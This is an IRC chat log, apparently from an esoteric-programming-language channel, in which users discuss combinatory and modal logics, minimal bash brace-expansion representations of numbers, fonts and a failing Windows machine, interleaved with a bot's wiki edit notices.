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12:55:02 <izabera> sedgewick writes in comic sans http://www.sorting-algorithms.com/static/QuicksortIsOptimal.pdf
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13:14:55 <Jafet> It's a legible font.
13:15:34 <Jafet> \oren\'s would be too, if not for that s.
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14:07:46 <izabera> http://imgur.com/gallery/6cXwaMG prettyyyyy *_*
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14:20:14 <\oren\> izabera: looks like a rare steak
14:20:48 <Taneb> idris-bot? I mean izabera
14:20:59 <Taneb> I am not very good at tab-completing on this client
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15:27:21 <int-e> http://imgur.com/gallery/RG7Kd is cute... and a puzzle: 1) in which direction did the camera scan the image? 2) how many rotor blades are there? 3) how many rotations did the propellor make while the picture was scanned?
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16:23:51 <b_jonas> shachaf, oerjan: ring the obell
16:24:48 <HackEgo> olist overflow: shachaf oerjan Sgeo FireFly boily nortti b_jonas
16:25:12 <int-e> hmm, N+1 might have been closer to my intention
16:25:24 <int-e> I don't read oots, I have no clue what the current number is.
16:25:55 <HackEgo> [wiki] [[BrainfuckX]] N http://esolangs.org/w/index.php?oldid=45421 * Gemdude46 * (+1569) Created page with "BrainfuckX is an extension of brainfuck that is backwards compatible with all uncommented brainfuck programs. Cells are unsigned bytes. Cell pointer starts in the leftmost ce..."
16:26:24 <int-e> and now the bell is rung.
16:27:47 <Jafet> Deserving of an obell prize
17:05:22 <mroman> fungot doesn't know what too far means
17:05:22 <fungot> mroman: i find that bugs are easy to do,
17:05:40 <mroman> Introducing bugs is easy, introducing security vulnerabilites is hard work.
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17:54:22 <nchambers> <int-e> I don't read oots, I have no clue what the current number is. ← 1000 I believe
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18:12:54 * Taneb seems to be trying out for University Challenge again
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18:28:53 <FireFly> It's above 1000, but thereabout
18:31:35 <b_jonas> correct. that means it will probably be just short of the round number by the end of the year
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19:04:35 <GoToTell> int-e, I gave your puzzle some thought. 1) If I'm correct in assuming/guessing the propeller is rotating clockwise, then: from right to left. 2) 3 (every vertical line never crosses more than two different propeller slices) 3) around 2 and one thirds. (7 distinctive propeller... Shrugs, spacetime sections divided by 3, and some "feeling about the angles.")
19:04:40 <HackEgo> [wiki] [[User:Hppavilion1/Spatial logic]] N http://esolangs.org/w/index.php?oldid=45422 * Hppavilion1 * (+430) Created first paragraph
19:08:13 <int-e> GoToTell: sounds about right (though my guess is more like 5/3 turns)
19:28:39 <HackEgo> [wiki] [[WARP]] http://esolangs.org/w/index.php?diff=45423&oldid=43695 * 210.86.93.89 * (+11) Point to github repo for source
19:28:46 <Taneb> I think I did OK in the University Challenge try-out
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19:30:18 <GoToTell> For the show itself, or the chance to reprisent your uni?
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19:32:03 <int-e> GoToTell: well, I picture it as this, the 7th blade is the same as the 1st blade, so when the 7th blade makes it to where the 1st blade started, then we'll have two full turns... but there's still some way to go before that happens.
19:32:13 <Taneb> GoToTell: the latter
19:32:18 <Taneb> University of York
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19:35:51 <GoToTell> The way I see it is that's nor really a 7tth blade, only A B C passing where the line scanned through. Any group of three of those sections have to be A B and C in sequence... wait I think I'm coming round
19:36:22 <GoToTell> I'm counting when I sound maybe be measuring area.Okay.
19:37:18 <GoToTell> Taneb, that's awesome. Used to watch University Challenge all the time.
19:37:33 <Taneb> Tried out last year, didn't do very well
19:37:44 <Taneb> I think I've done a little bit better this year, but I don't know yet
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19:39:09 <GoToTell> I mean, your group's members each have their specialty, right?
19:39:22 <Taneb> Well, this is still at the individual try-out stage
19:39:33 <izabera> "your black cat just broke your mirror. what do you do?"
19:40:06 <Taneb> Wonder when I got a cat
19:40:08 <izabera> option b is bleach the cat
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19:41:32 <izabera> c is just a boring "none of the previous answers"
19:41:52 <Taneb> I think option b is illegal under animal cruelty laws
19:41:58 <HackEgo> [wiki] [[Temporal logic]] N http://esolangs.org/w/index.php?oldid=45424 * Hppavilion1 * (+1246) Created page with main paragraph, section on paths, and defining operators based on Wiki's list
19:42:42 <izabera> yeah but your cat just granted you e^pi years of bad luck so it's kinda justified
19:42:50 <GoToTell> Cruelty to the unlucky black cat. Not the new white cat you have. So no victim, no crime.
19:43:13 <Taneb> In some places black cats are good luck!
19:43:55 <Taneb> Most of the UK, I believe
19:44:09 <int-e> http://static.nichtlustig.de/toondb/010929.html "sorry, but did you see my cat? it is a black cat. pitch black. black." - "with that attitude you'll never find it"
19:45:02 <FireFly> I always found de:ganz funny, because sv:ganska means "somewhat"
19:45:05 <Taneb> And Japan, apparently
19:45:12 <int-e> (not sure how to add the "verkrampft")
19:45:36 <myname> int-e: seems like one of the less funny comics from him
19:46:00 <int-e> myname: interesting, it's one of my favorites actually
19:46:33 <int-e> but in any case I was just reacting to the idea of bleaching the cat
19:47:17 <int-e> and "narrow-minded" fits
19:47:39 <myname> i should add it to my new webcomiclist nontheless
19:47:48 <myname> but i like ruthe more, actually
19:48:39 <izabera> entschuldigung == sorry? wtf
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19:49:31 <izabera> common words are short, so germans probably don't say sorry very often
19:50:08 <hppavilion[1]> A logic that is interpreted as being executed by a set of entities, each of which has knowledge about the state of variables
19:50:12 <myname> izabera: i do think a long word actually suits it very good
19:50:30 <myname> like, if you say it, you probably mean it more than if you just say sorry
19:50:43 <int-e> izabera: it's funny you say that... I say "sorry" a lot more often than "entschuldigung" :P
19:51:42 <FireFly> I do too (although with "ursäkta" instead, which is our word for the same thing)... it's interesting, sometimes I've had people reply to me in english due to it
19:51:46 <myname> also, entschuldigung makes sense since it comes from schuld. something that's your fault, that you want to neutralize
19:51:47 <hppavilion[1]> A programming language which's type system is based on Knowledge Logic would be strongly-typed, but you could lie to the type checker xD
19:52:32 <myname> hppavilion[1]: sounds great
19:52:55 <hppavilion[1]> GoToTell: It is, to some degree. It's useful for human interactions
19:53:34 <GoToTell> Would the entities infer stuff for themselves?
19:54:09 <GoToTell> If so, then their logic would have to be different from Knoledge logic.
19:54:24 <myname> knowledge logic is already a tjing
19:57:10 <myname> the idea, i am not sure what itks named
19:57:23 <myname> we used it on an AI course last semester
19:57:29 <GoToTell> Sorry, I was making a low effort joke. :P
19:58:16 <hppavilion[1]> Is it https://en.wikipedia.org/wiki/Epistemic_logic?
19:58:53 <hppavilion[1]> What other weird stuff we could we do with formal logic?
19:59:16 <Taneb> modal logic is fun
19:59:17 <myname> https://en.m.wikipedia.org/wiki/Epistemic_modal_logic
20:00:07 <myname> the nice thing about making a language based on it is the fact that you can easily checl its correctness
20:00:30 <GoToTell> Well, there's Time logic. And there's fuzzy logic. But there's no fuzzy time logic, ie drunk logic... yet.
20:01:10 <mauris> "sorry" is very common in dutch, somehow
20:01:17 <hppavilion[1]> Though Temporal Knowledge Logic could be cool, or "Learning Logic"
20:01:21 <Taneb> The dutch are naturally apologetic
20:07:16 <hppavilion[1]> Could we make combinatory versions of normal logics?
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20:20:17 <hppavilion[1]> (I HAVE SOLVED ENDING A PARENTHETICAL STATEMENT WITH AN EMOTICON KIND OF! WHOO! :) |)
20:21:31 <myname> what if you aren't sorry?
20:21:51 <HackEgo> [wiki] [[User:Hppavilion1/Spatial logic]] http://esolangs.org/w/index.php?diff=45425&oldid=45422 * Hppavilion1 * (+480) Some stuff
20:22:04 <hppavilion[1]> myname: Then you don't use the "Sorry but" operator
20:22:18 <hppavilion[1]> It's an additional operator, not an additional one
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20:24:06 <GoToTell> Apology used to mean "in defense of" so maybe an apologetic function could maybe not only return results, but also highlights of it did toi get that result.
20:26:43 <GoToTell> 1 aNAND 0 would return [1, "there was a 0", sorry"]
20:33:10 <HackEgo> [wiki] [[User:Hppavilion1/Combinatory temporal logic]] N http://esolangs.org/w/index.php?oldid=45426 * Hppavilion1 * (+590) Created Page, now to figure out the Φ combinator
20:33:58 <hppavilion[1]> myname: It allows you to establish an arbitrary new axiom to fix it? Or something?
20:34:42 <hppavilion[1]> Because that would be a contradiction, and that is bad.
20:37:06 <myname> there was actually the idea of a friend of mine to make something like a game where everybody mixes in axioms until they contradict
20:37:33 <myname> you can either add an axiom or call the previous player a liar
20:37:51 <myname> if the previous player can disprove you, you are out. otherwise it's him
20:41:25 <izabera> what happens when a player is unable to find a proof that the previous player is lying?
20:42:02 <myname> well, that's his problem
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20:43:40 <izabera> so you have to find the oldest lie?
20:45:37 <izabera> A lies, B can't disprove A, B doesn't lie, C finds a flaw that's caused by what A said, B is out, remove what B said and replace it with what C says
20:45:58 <izabera> the system is still contradictory so D can disprove C
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20:46:31 <GoToTell> A invents non euclidian geometry, B tries for 2000 years to disprove it.
20:50:23 <HackEgo> [wiki] [[User:Hppavilion1/Combinatory temporal logic]] http://esolangs.org/w/index.php?diff=45427&oldid=45426 * Hppavilion1 * (+1306) Combinators (α and β)
20:51:08 <izabera> if C can prove that A was lying, can e remove both B and A? i.e. everything since the oldest lie
20:51:20 <HackEgo> [wiki] [[User:Hppavilion1/Combinatory temporal logic]] M http://esolangs.org/w/index.php?diff=45428&oldid=45427 * Hppavilion1 * (+1) /* Combinators */ Fixed convention
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20:55:21 <HackEgo> [wiki] [[User:Hppavilion1/Combinatory temporal logic]] http://esolangs.org/w/index.php?diff=45429&oldid=45428 * Hppavilion1 * (+384) Examples
20:56:22 <HackEgo> [wiki] [[User:Hppavilion1/Combinatory temporal logic]] M http://esolangs.org/w/index.php?diff=45430&oldid=45429 * Hppavilion1 * (+1) /* Combinators */ Fixed convention. Again. The same convention. In the same place. It didn't take.
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20:59:53 <myname> that may be discussed. but i think B should.be removed because he couldn't disprove A
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21:04:11 <myname> itks already hard enough
21:04:44 <hppavilion[1]> My grammar for CTL (Combinatory Temporal Logic) has a quirk: You can apply a combinator to an assignment (e.g. `K(I=SKK)`). What should this do?
21:06:57 <HackEgo> [wiki] [[User:Hppavilion1/Combinatory temporal logic]] http://esolangs.org/w/index.php?diff=45431&oldid=45430 * Hppavilion1 * (+1496) Grammar and semantics
21:07:32 <izabera> the interesting part is that they must be axioms
21:08:06 <izabera> so i guess player C can remove player B from the game if C can prove that what B said follows from what A said
21:10:10 <HackEgo> [wiki] [[Combinatory logic]] http://esolangs.org/w/index.php?diff=45432&oldid=45418 * Hppavilion1 * (+627) Grammar, in case anyone is wondering.
21:10:11 <izabera> so not only lies, but also theorems get you expelled
21:10:42 <HackEgo> [wiki] [[Combinatory logic]] M http://esolangs.org/w/index.php?diff=45433&oldid=45432 * Hppavilion1 * (+2) Fixed the location of the grammar
21:12:31 <HackEgo> [wiki] [[User:Hppavilion1/Combinatory temporal logic]] M http://esolangs.org/w/index.php?diff=45434&oldid=45431 * Hppavilion1 * (+0) /* Combinators */ Fixed the λ-calculular S definition
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21:16:03 <hppavilion[1]> @tell zzo38 Found an article on how type systems are logics: https://codewords.recurse.com/issues/one/type-systems-and-logic
21:20:43 <HackEgo> [wiki] [[Combinatory logic]] http://esolangs.org/w/index.php?diff=45435&oldid=45433 * Hppavilion1 * (+50) Added a link to Combinatory temporal logic
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21:48:47 <myname> seriosly, why is 0 called either zero, oh or naught
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21:51:54 <Taneb> I'm through to the next stage of the trials for my uni's University Challenge team!
22:06:05 <HackEgo> [wiki] [[Combinatory logic/Analysis of combinators]] N http://esolangs.org/w/index.php?oldid=45436 * Hppavilion1 * (+3271) Started on the page
22:14:15 <Taneb> Next round is on Saturday
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22:21:24 <fizzie> oerjan: Them certificates should be renovated now.
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22:29:00 <oerjan> dammit computer's doing something wrong again
22:30:11 <oerjan> maybe my disk is completely shot. at least i managed to backup yesterday.
22:31:50 <oerjan> ooh something reacted.
22:33:03 <oerjan> and windows asked me if i wanted to kill this process, which was seemingly the desktop.
22:33:23 <izabera> systemd is not responding. kill it?
22:33:38 <oerjan> well i expect it would normally restart?
22:33:53 <oerjan> anyway, i guess i have to do a hard shutdown. wish me luck.
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22:40:04 <oerjan> i am trying to let it download that big update again, and try once more.
22:40:32 <oerjan> i have this last desperate hope that if it would only go through, things would get fixed.
22:40:58 <oerjan> it's downloading very slowly though.
22:41:23 <oerjan> and it's possible that some of the other surprise reboots happened when it finally downloaded.
22:41:37 <oerjan> and then fails, and tries again.
22:42:06 <oerjan> but clearly that's not the only thing wrong. my hope is that it's only a result of the update breaking the first time.
22:42:50 <oerjan> hm if chkdsk at startup finds any errors, would it report it while running?
22:43:04 <oerjan> because it definitely didn't. in which case my disk might be fine.
22:43:58 <oerjan> the message that it tried to get me to read before i shutdown hard disappeared after i did.
22:44:16 <oerjan> (i couldn't get it to react to my button press on it, or almost anything else.)
22:44:39 <oerjan> download went up from 76& to 77%
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22:48:34 <oerjan> why did the network icon change.
22:49:06 <oerjan> boily: my computer is behaving weirdly, i'm currently blaming it on a half-gone-through windows update.
22:49:41 <izabera> something something network complot. effort
22:50:11 <oerjan> well the network isn't the thing giving trouble, i think.
22:50:51 * boily does the Chicken Invocation Dance to get rid of oerjan's machine's demons
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22:54:17 <oerjan> auto restart because of detected problem
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22:54:37 <oerjan> sounds about right, it was burning CPU.
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22:55:15 <oerjan> if it can actually _manage_ to reboot now...
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22:56:28 <oerjan> fan is running hard again
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22:59:19 <boily> oerjan: I think your possibilities dwindled to only the Nuclear Manœuvre: strangulation by power button.
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23:07:29 <oerjan> i think i'm going to have turn it off permanently. bye soon...
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23:11:16 <oerjan> boily: oh and yes, i did.
23:11:30 <oerjan> then it ran chkdsk, and _chkdsk_ locked up without finishing.
23:11:41 <oerjan> then it rebooted and here i am, for the moment.
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23:13:21 <oerjan> i guess it must be a disk error, then. :(
23:18:25 <oerjan> possible chkdsk did help for a while
23:20:19 <boily> backup and swap HDD...
23:20:30 <oerjan> first i need to get one
23:21:45 <oerjan> i backuped the important stuff to my nvg account yesterday.
23:22:19 <izabera> https://en.wikipedia.org/wiki/Nomic#Computerized_version do you guys know this?
23:22:49 * oerjan played schemenomic once.
23:25:21 <oerjan> funny, my previous computer worked (reasonably) well for 7 years, this one breaks after 2 1/2...
23:26:31 <oerjan> i'm wondering if the download is supposed to be this slow, or it's just the disk causing it...
23:27:04 <oerjan> mind you, it _is_ a windows version upgrade.
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23:37:17 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45437&oldid=45370 * Hppavilion1 * (+150) /* Syntax */ Completely changed the syntax from normal fungoid to CSV
23:43:50 * Sgeo_ will look at Nomyx if it's still active
23:43:55 <Sgeo_> Sounds vaguely familiar
23:45:58 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45438&oldid=45437 * Hppavilion1 * (+420) Fixed formatting error, adjusted data model
23:48:27 <HackEgo> [wiki] [[Treeng]] N http://esolangs.org/w/index.php?oldid=45439 * Hppavilion1 * (+376) Created Page
23:48:56 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] M http://esolangs.org/w/index.php?diff=45440&oldid=45438 * Hppavilion1 * (+0) /* Data Model */ Fixed meanings
23:51:23 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] M http://esolangs.org/w/index.php?diff=45441&oldid=45440 * Hppavilion1 * (+102) /* Commands */ Added Δs
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23:59:08 <\oren\> oerjan: the most reliable compters I find are business laptops
00:05:08 <izabera> that's what they build supercomputers out of
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00:50:06 <oerjan> shachaf: oh dear, i was vaguely thinking about Banjo...
01:05:26 <izabera> how do i call the unicode character identifier thingy?
01:05:46 <izabera> there was a bot here that did it
01:06:37 <oerjan> oh now it's starting to download something else too.
01:11:13 <oerjan> although if so, there will be another tie, and how do they break that?
01:13:23 <HackEgo> [U+0078 LATIN SMALL LETTER X] [U+0020 SPACE] [U+0079 LATIN SMALL LETTER Y] [U+0020 SPACE] [U+007A LATIN SMALL LETTER Z]
01:13:47 <HackEgo> unidecode is /hackenv/bin/unidecode
01:13:57 <izabera> `` file /hackenv/bin/unidecode
01:13:58 <HackEgo> /hackenv/bin/unidecode: Python script, ASCII text executable
01:14:05 <izabera> `` cat /hackenv/bin/unidecode
01:14:06 <HackEgo> #!/usr/bin/env python \ import os, sys \ import unicodedata \ s = u" ".join("[U+{0:04X} {1}]".format(ord(c), unicodedata.name(c, "DUNNO")) for c in " ".join(sys.argv[1:]).decode("utf-8")).encode("utf-8") \ if u"DUNNO" in s: \ os.execvp("multicode", ["multicode"] + sys.argv[1:]) \ else: \ print s
01:15:08 <izabera> why is it joining them with spaces?
01:15:12 <\oren\> izabera: why would it be wrong?
01:15:29 <oerjan> what, it gave up immediately.
01:36:47 <hppavilion[1]> Perhaps I should create a suite of programs demonstrating different abstract machines...
01:39:04 <izabera> doesn't that require like 40+ years of experience
01:39:46 <hppavilion[1]> It doesn't require THAT much experience to start on it. I mean, I understand the basic abstract machines
01:40:36 <hppavilion[1]> It would cover things like Turing and Minsky machines
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02:02:32 <shachaf> oerjan: of course you were
02:02:35 <shachaf> oerjan: banjo, demigod of corrupt ops
02:03:09 <adu> I used to have my client notify me anytime my nick appeared anywhere, but I think I configured it only only match on words, because I was getting too many hits on "graduate"
02:03:37 <adu> izabera: :/
02:04:06 <izabera> just learn to gradually ignore them
02:04:44 <izabera> `` grep adu /usr/share/dict/words
02:04:45 <HackEgo> grep: /usr/share/dict/words: No such file or directory
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02:05:22 <hppavilion[1]> adu: I'm trying to learn about Epistemic logic and Temporal logic, so I can mash them together into a horrible mess
02:05:33 <hppavilion[1]> adu: Also, I invented Probabilistic Combinatory Logic.
02:06:22 <hppavilion[1]> I'm trying to think of a property of the world I can invent a logic about
02:06:34 <\oren\> esprit du corps: spirit of the corpse
02:06:43 <adu> I think Temporal logic is just regular logic plus the fermionic principle
02:07:13 <hppavilion[1]> Though I WOULD like to see wibbly wobbly temporal logic, which allows for time travel
02:07:26 <adu> timey wimy?
02:07:54 <adu> thats my favorite kind of logic :)
02:08:05 <hppavilion[1]> So do you have any ideas for what I can make a logic about? Time and knowledge are definitely taken.
02:08:18 <adu> is "B" a reference to the new sonic shades?
02:08:21 <hppavilion[1]> Time/knowledge would be cool, but not original enough
02:08:58 <adu> hppavilion[1]: do you watch Dr.Who?
02:09:18 <adu> and you don't know about the sonic shades?
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02:10:20 <hppavilion[1]> adu: Nope. I only watch it on netflix, because that's what I have access to
02:10:36 <hppavilion[1]> (I thought "sonic shades" was about a video game character xD)
02:12:11 <adu> I have netflix
02:12:28 <adu> it basically has all the B movies I never wanted to watch
02:13:22 <adu> some of my favorite movies are still not on netflix
02:13:45 <adu> like Idiocracy, Serenity, Battlestar Galactica
02:14:12 <HackEgo> [wiki] [[Epistemic logic]] N http://esolangs.org/w/index.php?oldid=45442 * Hppavilion1 * (+98) Created page, maybe possibly might make good someday perhaps
02:14:47 <HackEgo> [wiki] [[Epistemic logic]] M http://esolangs.org/w/index.php?diff=45443&oldid=45442 * Hppavilion1 * (+9) Stub
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02:15:16 <adu> hppavilion[1]: so does Epistemic logic cover X knows A, and Y knows B, so Z can't tell X C until Y tells Z D
02:16:03 <hppavilion[1]> adu: If you mix it with temporal logic and define some terms (e.g. "tell")
02:16:39 <adu> it already sounds like cells and propogators
02:19:54 <adu> hppavilion[1]: my first thought was that it was the study of epistemology
02:20:07 <adu> epistemologyology
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02:22:23 <izabera> http://esolangs.org/wiki/Brainfuck_constants about this page
02:23:01 <izabera> how does one prove that there's no shorter sequence?
02:24:20 <izabera> so they've been created by humans
02:24:56 <hppavilion[1]> izabera: Alternatively, they could be brute forced by a computer
02:26:32 <izabera> i have a "language" that has 5 symbols: 'a' '{' ',' '}' ' '
02:27:18 <izabera> `` num () { echo "$#"; }; num a
02:27:21 <izabera> `` num () { echo "$#"; }; num a{,}
02:27:24 <izabera> `` num () { echo "$#"; }; num a{,,}
02:27:28 <izabera> `` num () { echo "$#"; }; num a{,,}{,,}
02:27:37 <izabera> `` num () { echo "$#"; }; num a{,,}{,,} a{,,,}{,,,}
02:27:57 <izabera> i want to find the shortest sequence that produces a given number
02:28:53 <izabera> so for 25 there's "a{,,}{,,} a{,,,}{,,,}" but also "a{,,,,}{,,,,}" which is much shorter
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02:29:28 <lifthrasiir> `` num () { echo "$#"; }; num a{,{,}{,}}{,,,}
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02:29:45 <izabera> nesting them isn't particularly helpful
02:30:16 <izabera> aside from a few exceptions, finding the shortest sequence is easy for composite numbers
02:31:28 <izabera> `` num () { echo "$#"; }; num a{,,,}{,,,}{,,} a{,,} # 51 as 48+3
02:31:43 <izabera> `` num () { echo "$#"; }; num a{,,,,}{,,,,}{,} a # 51 as 50+1
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02:32:23 <izabera> any idea other than bruteforcing it?
02:37:30 <HackEgo> [wiki] [[EsoLogic]] N http://esolangs.org/w/index.php?oldid=45444 * Hppavilion1 * (+1244) Created Page
02:38:27 <hppavilion[1]> EsoLogic is really just going to turn into a way to model the world.
02:38:55 <HackEgo> [wiki] [[EsoLogic]] M http://esolangs.org/w/index.php?diff=45445&oldid=45444 * Hppavilion1 * (+1) Formatting
02:41:22 <lifthrasiir> izabera: I have experimented with a form of i*j*...-1
02:41:38 <lifthrasiir> which is possible with {,a<i-1>}{,a<j-1>}...
02:42:24 <lifthrasiir> well, I couldn't come up with an example that gives a shorter result than an ordinary case
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02:43:37 <lifthrasiir> although I have an example of highly composite number: 69 = a{,,}{{,,}{,,,,,,},,}
02:43:52 <lifthrasiir> probably this problem is not as easy as it seems
02:44:48 <GoToTell> The max size for any number would be a: num a[,] a[,] a[,] ... and so on, right?
02:45:16 <izabera> max size would be a a a a a a a a
02:45:30 <lifthrasiir> well, for given n the upper bound is `a{<n-1 commas>}`
02:46:30 <GoToTell> But if you have an max size then you can brute force all combination of multiplication and additions.
02:48:12 <GoToTell> Hmn, I wonder if it correlates to representing numbers in different bases.
02:49:21 <izabera> well i'll write the bruteforcer
02:50:11 -!- adu has quit (Quit: adu).
02:50:42 <GoToTell> Always fun to code, if nothing else.
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02:55:55 <izabera> i'm also dumb and forgot that 51 isn't prime
02:57:07 <izabera> funny enough, 50+1 is shorter than 3*17
02:57:21 <izabera> `` num () { echo "$#"; }; num a{,,}{{,,}{,,,,},,} # 3*17
02:59:28 <\oren\> `` num () { echo "$#"; }; num a{,,}{,,} #
02:59:34 <\oren\> `` num () { echo "$#"; }; num a{,,}{,}
03:01:01 <\oren\> I see, it's normal bash syntax, WTF
03:01:18 <izabera> yes it's just regular brace expansion
03:02:23 <\oren\> `` num () { echo "$#"; }; num a{{,,,,,}{,,,,,}{,,},}
03:02:43 <\oren\> `` num () { echo "$#"; }; num a{{,,,,}{,,,,}{,},}
03:04:00 <\oren\> `` num () { echo "$#"; }; num a{,,,,}{,,,,}{,}
03:04:12 <\oren\> `` num () { echo "$#"; }; num a{,,,,}{,,,,,}
03:04:15 <\oren\> `` num () { echo "$#"; }; num a{,,,,}{,,,,,,}
03:04:19 <\oren\> `` num () { echo "$#"; }; num a{,,,,,}{,,,,,,}
03:04:49 <\oren\> wait why am I doing this in the channel
03:07:00 <lifthrasiir> bracing requirement is a bit hard to get it right
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03:13:11 <lifthrasiir> okay, fixed: http://ix.io/mgl (source code http://ix.io/mgk.py)
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03:13:40 <lifthrasiir> num can be also improved, let me check it out
03:16:02 <lifthrasiir> well, shorter by one byte in some cases, but not further.
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03:16:28 <lifthrasiir> especially it seems that composite + small number k is useless for k>1
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03:17:05 <lifthrasiir> anyway, http://ix.io/mgn.py is the new code
03:17:26 <lifthrasiir> I'm yet to investigate subtractive approach though
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03:25:56 <lifthrasiir> izabera: okay, I have a concrete example now
03:26:08 <lifthrasiir> `` num () { echo "$#"; }; num a{,}{,{,,,}{,,,{,,,}{,,,}{,,,}}} # additive
03:26:16 <lifthrasiir> `` num () { echo "$#"; }; num {,a{,}{,,,,}}{,a{,,}{,,,}{,,,}} # subtractive
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03:27:44 <izabera> `` num () { echo "$#"; }; num a{,}{,,,,}}{,a{,,}{,,,}{,,,}
03:28:12 <lifthrasiir> new list up to 10000: http://ix.io/mgp (code at http://ix.io/mgq.py)
03:28:40 <izabera> `` num () { echo "$#"; }; num a{,}{,,,,}; num {,a{,}{,,,,}}
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03:35:34 <izabera> you're doing 10 + 48 + 10*48 so i don't see the subtraction?
03:39:21 <izabera> and your approach is very nice but i'm not sure you can produce the correct result without actually bruteforcing it (but i don't have a proof for this)
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03:54:54 <HackEgo> [wiki] [[EsoLogic]] http://esolangs.org/w/index.php?diff=45446&oldid=45445 * Hppavilion1 * (+383) New things! Yay!
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03:56:18 <izabera> but most importantly: http://www.wizard101central.com/forums/showthread.php?456268-New-Jewels-Dual-Blades-for-all-schools!
03:56:40 <izabera> new jewels with two +40% buffs at level FIFTEEN??
03:58:33 <izabera> and you can have two of those jewels!
03:59:05 <izabera> wizard101 is a great game guys, you should definitely try it
03:59:48 <izabera> omg i can have both balance AND ice blades omg omg omg
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04:09:51 <hppavilion[1]> I want to make a Modal Logic programming language...
04:10:12 <hppavilion[1]> A sort of epistemic/probabilistic/deontic/temporal programming language
04:11:52 <adu> hppavilion[1]: like prolog?
04:12:22 <hppavilion[1]> But with Temporal/epistemic/deontic/probabilistic properties
04:20:34 <oerjan> gah i take a short break, and *poof* another reboot
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04:21:50 <oerjan> i suspect some of the programs that start up automatically when it's "idle" crashes it.
04:22:10 <oerjan> on the bright side, IE remembered its tabs this time.
04:24:25 <oerjan> hm next time i put it to sleep before i walk away for any length of time.
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04:47:01 <izabera> how can i find the nearest lower prime power?
04:47:34 <izabera> i mean, the highest number that's a power of a prime number, that's lower than my number
04:48:22 <izabera> 127 is my number, 125 is the nearest lower prime power
04:48:34 <izabera> not sure if this thing has a name
04:49:05 <hppavilion[1]> izabera: Lookup table|Brute force|prime checking algorithm|solve the Reimann Hypothesis
04:49:53 <izabera> impractical|???|yeah that|that's the next step
04:50:26 <hppavilion[1]> OK, just to make sure, are you ACTUALLY working on the Riemann Hypothesis?
04:51:52 <hppavilion[1]> I have seen the future when they prove it has no solution.
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04:59:58 <\oren\> this time with autogenerated char count at the end of allchars.htm
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05:00:24 <\oren\> http://www.orenwatson.be/allchars.htm
05:00:46 <lifthrasiir> hppavilion[1]: no, I meant the literal "moment"
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05:01:03 <\oren\> 5601 characters, total
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05:02:12 <lifthrasiir> hppavilion[1]: who were the first and the second? (and just to be sure, do they include oren?)
05:02:55 <hppavilion[1]> lifthrasiir: oren is first, I'm second, assuming no one has done it before us
05:03:09 <\oren\> b_jonas I think has his own font
05:03:14 <izabera> \oren\: your #define's are the best
05:03:30 <lifthrasiir> actually I have my own font as well, very old ASCII-limited one though
05:03:33 <hppavilion[1]> lifthrasiir: Yes, but it can't be rendered outside of a special program I made
05:03:55 <hppavilion[1]> Well, unless one were to make another renderer or a compiler.
05:04:01 <izabera> #define brault break;default
05:04:11 <lifthrasiir> https://github.com/lifthrasiir/angolmois/blob/625f843/angolmois.c#L876-L916
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05:05:27 <lifthrasiir> the "bitmap" font composed of a filled square or four kinds of right triangle or their impositions as well
05:06:00 <\oren\> and apparently encoded in base 96?
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05:06:40 <lifthrasiir> 33 through 97 encodes a literal code (which is remapped through `words`)
05:07:25 <lifthrasiir> 98 through... 126? I don't know, but anyway they encode a count which is followed by a distance offseted by 32.
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05:09:15 <lifthrasiir> \oren\: my original goal is to make a minimal game in the minimal number of bytes, so it was inevitable
05:09:35 <lifthrasiir> I probably crushed the whole game into 15,000 bytes of really unreadable source code
05:10:05 <lifthrasiir> then I cleaned it up for making it a bit easier to read while still being minimal (i.e. limited to 2,000 lines of code)
05:10:41 <\oren\> do you have a sample image?
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05:13:07 <lifthrasiir> \oren\: https://raw.githubusercontent.com/lifthrasiir/angolmois-rust/gh-pages/img/angolmois1.jpg https://raw.githubusercontent.com/lifthrasiir/angolmois-rust/gh-pages/img/angolmois2.jpg
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05:17:30 <izabera> \oren\: http://stackoverflow.com/questions/13955163/imitating-a-blink-tag-with-css3-animations add it to http://www.orenwatson.be/ansi.htm
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05:31:38 <hppavilion[1]> I'm trying to think of a new idea for a modal logic
05:32:26 <adu> hppavilion[1]: solve the Reimann Hypothesis is a great name for a logic language
05:37:56 <adu> ooo SemanticLang
05:39:42 <adu> The Semantic Web is all about graphs
05:40:01 <adu> hppavilion[1]: I might have spent too much time reading about OpenCyc and OWL/RDF
05:40:41 <adu> for me, RDF is a way of life
05:40:56 <adu> it's like a lens you see the world thru
05:42:08 <adu> without the RDF worldview, you might make an HTTP log format like http://www.softwareishard.com/har/schema/HTTPArchiveV12.xsd
05:42:24 <adu> with the RDF worldview, you might make an HTTP log format like http://www.w3.org/TR/HTTP-in-RDF10/
05:44:11 <adu> http://www.softwareishard.com/blog/har-12-spec/ is the JSON spec that goes along with HTTPArchiveV12.xsd
05:49:56 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45447&oldid=45415 * Quintopia * (-9) /* Examples */ Golfed the truth-machine some more
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06:16:54 <HackEgo> [wiki] [[Aubergine/aubergine.py]] http://esolangs.org/w/index.php?diff=45448&oldid=45416 * Quintopia * (-45) oops this was debugging
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06:29:45 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45449&oldid=45447 * Quintopia * (-65) /* Hello, world! */
06:29:57 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45450&oldid=45449 * Quintopia * (+2) /* Hello, world! */
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06:32:17 <HackEgo> [wiki] [[Aubergine/aubergine.py]] http://esolangs.org/w/index.php?diff=45451&oldid=45448 * Quintopia * (-146) Ref impl allows jumping outside of program in either direction to halt
06:33:50 <hppavilion[1]> Am I correct in my calculuations that B(BBB) = a(bc)(de)(fg) wher B is from the B,C,K,W system (Babc = a(bc))
06:47:04 <myname> where are those small letters coming from?
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06:50:32 <HackEgo> [wiki] [[Aubergine/aubergine.py]] http://esolangs.org/w/index.php?diff=45452&oldid=45451 * Quintopia * (+2) this is out of bounds too according to ref impl
06:51:24 <myname> my attempt: (B(BBB))abcdefg = B(BBB)abcdefg = (BBB)(ab)cdefg = BBB(ab)cdefg = B(B(ab))cdefg = B(ab)(cd)fg = ab((cd)f)g
